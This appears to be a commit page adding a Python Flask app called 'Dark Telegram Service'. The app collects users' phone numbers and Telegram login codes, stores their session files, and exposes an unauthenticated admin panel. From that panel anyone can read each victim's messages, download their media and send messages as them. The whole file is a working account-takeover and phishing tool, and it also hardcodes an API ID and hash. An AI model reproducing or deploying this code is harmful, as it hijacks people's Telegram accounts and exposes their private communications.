Aleksmorshen commited on
Commit
7eeda24
·
verified ·
1 Parent(s): 138b997

Upload Soola.txt

Browse files
Files changed (1) hide show
  1. Soola.txt +249 -0
Soola.txt ADDED
@@ -0,0 +1,249 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from flask import Flask, request, jsonify, render_template_string, send_from_directory
2
+ from telethon.sync import TelegramClient
3
+ from telethon import events
4
+ import os
5
+ import sqlite3
6
+ import hashlib
7
+ import asyncio
8
+ from pathlib import Path
9
+
10
+ app = Flask(__name__)
11
+
12
+ # Конфиг
13
+ API_ID = '22328650' # Замени на свой
14
+ API_HASH = '20b45c386598fab8028b1d99b63aeeeb' # Замени на свой
15
+ HOST = '0.0.0.0'
16
+ PORT = 7860
17
+ SESSION_DIR = 'sessions'
18
+ DOWNLOAD_DIR = 'downloads'
19
+ DB_PATH = 'users.db'
20
+
21
+ # Инициализация базы
22
+ def init_db():
23
+ with sqlite3.connect(DB_PATH) as conn:
24
+ c = conn.cursor()
25
+ c.execute('''CREATE TABLE IF NOT EXISTS users (
26
+ id INTEGER PRIMARY KEY AUTOINCREMENT,
27
+ telegram_id TEXT UNIQUE,
28
+ username TEXT,
29
+ phone TEXT,
30
+ session_file TEXT,
31
+ created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
32
+ )''')
33
+ conn.commit()
34
+
35
+ # Создание папок
36
+ os.makedirs(SESSION_DIR, exist_ok=True)
37
+ os.makedirs(DOWNLOAD_DIR, exist_ok=True)
38
+
39
+ # HTML/CSS/JS шаблон
40
+ HTML_TEMPLATE = '''
41
+ <!DOCTYPE html>
42
+ <html lang="en">
43
+ <head>
44
+ <meta charset="UTF-8">
45
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
46
+ <title>Dark Telegram Service</title>
47
+ <style>
48
+ body { font-family: Arial, sans-serif; background: #1a1a1a; color: #fff; margin: 0; padding: 20px; }
49
+ .container { max-width: 800px; margin: auto; }
50
+ h1 { text-align: center; color: #00ff00; }
51
+ .form, .admin-panel { background: #333; padding: 20px; border-radius: 5px; margin-bottom: 20px; }
52
+ input, button { padding: 10px; margin: 5px; background: #444; color: #fff; border: none; border-radius: 3px; }
53
+ button { cursor: pointer; background: #00ff00; }
54
+ button:hover { background: #00cc00; }
55
+ table { width: 100%; border-collapse: collapse; }
56
+ th, td { padding: 10px; border: 1px solid #555; text-align: left; }
57
+ a { color: #00ff00; text-decoration: none; }
58
+ a:hover { text-decoration: underline; }
59
+ .chat { background: #222; padding: 10px; max-height: 300px; overflow-y: auto; }
60
+ .message { margin: 5px 0; }
61
+ </style>
62
+ </head>
63
+ <body>
64
+ <div class="container">
65
+ <h1>Dark Telegram Service</h1>
66
+ <div class="form">
67
+ <h2>Login via Telegram</h2>
68
+ <input type="text" id="phone" placeholder="Phone number (+1234567890)">
69
+ <input type="text" id="code" placeholder="Verification code">
70
+ <button onclick="login()">Login</button>
71
+ </div>
72
+ <div class="admin-panel">
73
+ <h2>Admin Panel</h2>
74
+ <table>
75
+ <tr><th>ID</th><th>Username</th><th>Phone</th><th>Actions</th></tr>
76
+ {% for user in users %}
77
+ <tr>
78
+ <td>{{ user[0] }}</td>
79
+ <td>{{ user[2] }}</td>
80
+ <td>{{ user[3] }}</td>
81
+ <td>
82
+ <a href="/user/{{ user[0] }}/messages">Messages</a> |
83
+ <a href="/user/{{ user[0] }}/files">Files</a> |
84
+ <a href="/send_message/{{ user[0] }}">Send Message</a>
85
+ </td>
86
+ </tr>
87
+ {% endfor %}
88
+ </table>
89
+ </div>
90
+ </div>
91
+ <script>
92
+ async function login() {
93
+ const phone = document.getElementById('phone').value;
94
+ const code = document.getElementById('code').value;
95
+ const response = await fetch('/login', {
96
+ method: 'POST',
97
+ headers: { 'Content-Type': 'application/json' },
98
+ body: JSON.stringify({ phone, code })
99
+ });
100
+ const result = await response.json();
101
+ alert(result.message);
102
+ if (result.success) location.reload();
103
+ }
104
+
105
+ async function sendMessage(userId) {
106
+ const chatId = prompt('Enter chat ID or username:');
107
+ const message = prompt('Enter message:');
108
+ if (chatId && message) {
109
+ const response = await fetch(`/send_message/${userId}`, {
110
+ method: 'POST',
111
+ headers: { 'Content-Type': 'application/json' },
112
+ body: JSON.stringify({ chat_id: chatId, message })
113
+ });
114
+ const result = await response.json();
115
+ alert(result.message);
116
+ }
117
+ }
118
+ </script>
119
+ </body>
120
+ </html>
121
+ '''
122
+
123
+ # Главная страница
124
+ @app.route('/')
125
+ def index():
126
+ with sqlite3.connect(DB_PATH) as conn:
127
+ c = conn.cursor()
128
+ c.execute('SELECT id, telegram_id, username, phone FROM users')
129
+ users = c.fetchall()
130
+ return render_template_string(HTML_TEMPLATE, users=users)
131
+
132
+ # Авторизация
133
+ @app.route('/login', methods=['POST'])
134
+ def login():
135
+ data = request.json
136
+ phone = data.get('phone')
137
+ code = data.get('code')
138
+ session_file = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
139
+
140
+ try:
141
+ client = TelegramClient(session_file, API_ID, API_HASH)
142
+ if not code:
143
+ client.start(phone=lambda: phone)
144
+ return jsonify({'success': False, 'message': 'Enter the code sent to your Telegram'})
145
+ else:
146
+ client.start(phone=lambda: phone, code_callback=lambda: code)
147
+ me = client.get_me()
148
+ with sqlite3.connect(DB_PATH) as conn:
149
+ c = conn.cursor()
150
+ c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
151
+ (str(me.id), me.username or '', phone, session_file))
152
+ conn.commit()
153
+ client.disconnect()
154
+ return jsonify({'success': True, 'message': 'Logged in successfully'})
155
+ except Exception as e:
156
+ return jsonify({'success': False, 'message': str(e)})
157
+
158
+ # Список сообщений
159
+ @app.route('/user/<int:user_id>/messages')
160
+ def get_messages(user_id):
161
+ with sqlite3.connect(DB_PATH) as conn:
162
+ c = conn.cursor()
163
+ c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
164
+ session_file = c.fetchone()[0]
165
+
166
+ client = TelegramClient(session_file, API_ID, API_HASH)
167
+ client.connect()
168
+ messages = []
169
+ try:
170
+ for dialog in client.get_dialogs(limit=10):
171
+ for message in client.get_messages(dialog, limit=10):
172
+ messages.append({'chat': dialog.title, 'text': message.text or '', 'date': str(message.date)})
173
+ finally:
174
+ client.disconnect()
175
+
176
+ return render_template_string('''
177
+ <h1>Messages for User {{ user_id }}</h1>
178
+ <div class="chat">
179
+ {% for msg in messages %}
180
+ <div class="message"><b>{{ msg.chat }}</b> ({{ msg.date }}): {{ msg.text }}</div>
181
+ {% endfor %}
182
+ </div>
183
+ <a href="/">Back</a>
184
+ ''', user_id=user_id, messages=messages)
185
+
186
+ # Список файлов
187
+ @app.route('/user/<int:user_id>/files')
188
+ def get_files(user_id):
189
+ with sqlite3.connect(DB_PATH) as conn:
190
+ c = conn.cursor()
191
+ c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
192
+ session_file = c.fetchone()[0]
193
+
194
+ client = TelegramClient(session_file, API_ID, API_HASH)
195
+ client.connect()
196
+ files = []
197
+ try:
198
+ for dialog in client.get_dialogs(limit=10):
199
+ for message in client.get_messages(dialog, limit=10):
200
+ if message.media:
201
+ file_path = client.download_media(message, DOWNLOAD_DIR)
202
+ files.append({'chat': dialog.title, 'file': Path(file_path).name})
203
+ finally:
204
+ client.disconnect()
205
+
206
+ return render_template_string('''
207
+ <h1>Files for User {{ user_id }}</h1>
208
+ <table>
209
+ <tr><th>Chat</th><th>File</th></tr>
210
+ {% for file in files %}
211
+ <tr>
212
+ <td>{{ file.chat }}</td>
213
+ <td><a href="/download/{{ file.file }}">{{ file.file }}</a></td>
214
+ </tr>
215
+ {% endfor %}
216
+ </table>
217
+ <a href="/">Back</a>
218
+ ''', user_id=user_id, files=files)
219
+
220
+ # Скачивание файла
221
+ @app.route('/download/<filename>')
222
+ def download_file(filename):
223
+ return send_from_directory(DOWNLOAD_DIR, filename)
224
+
225
+ # Отправка сообщения
226
+ @app.route('/send_message/<int:user_id>', methods=['POST'])
227
+ def send_message(user_id):
228
+ data = request.json
229
+ chat_id = data.get('chat_id')
230
+ message = data.get('message')
231
+
232
+ with sqlite3.connect(DB_PATH) as conn:
233
+ c = conn.cursor()
234
+ c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
235
+ session_file = c.fetchone()[0]
236
+
237
+ client = TelegramClient(session_file, API_ID, API_HASH)
238
+ client.connect()
239
+ try:
240
+ client.send_message(chat_id, message)
241
+ return jsonify({'success': True, 'message': 'Message sent'})
242
+ except Exception as e:
243
+ return jsonify({'success': False, 'message': str(e)})
244
+ finally:
245
+ client.disconnect()
246
+
247
+ if __name__ == '__main__':
248
+ init_db()
249
+ app.run(host=HOST, port=PORT)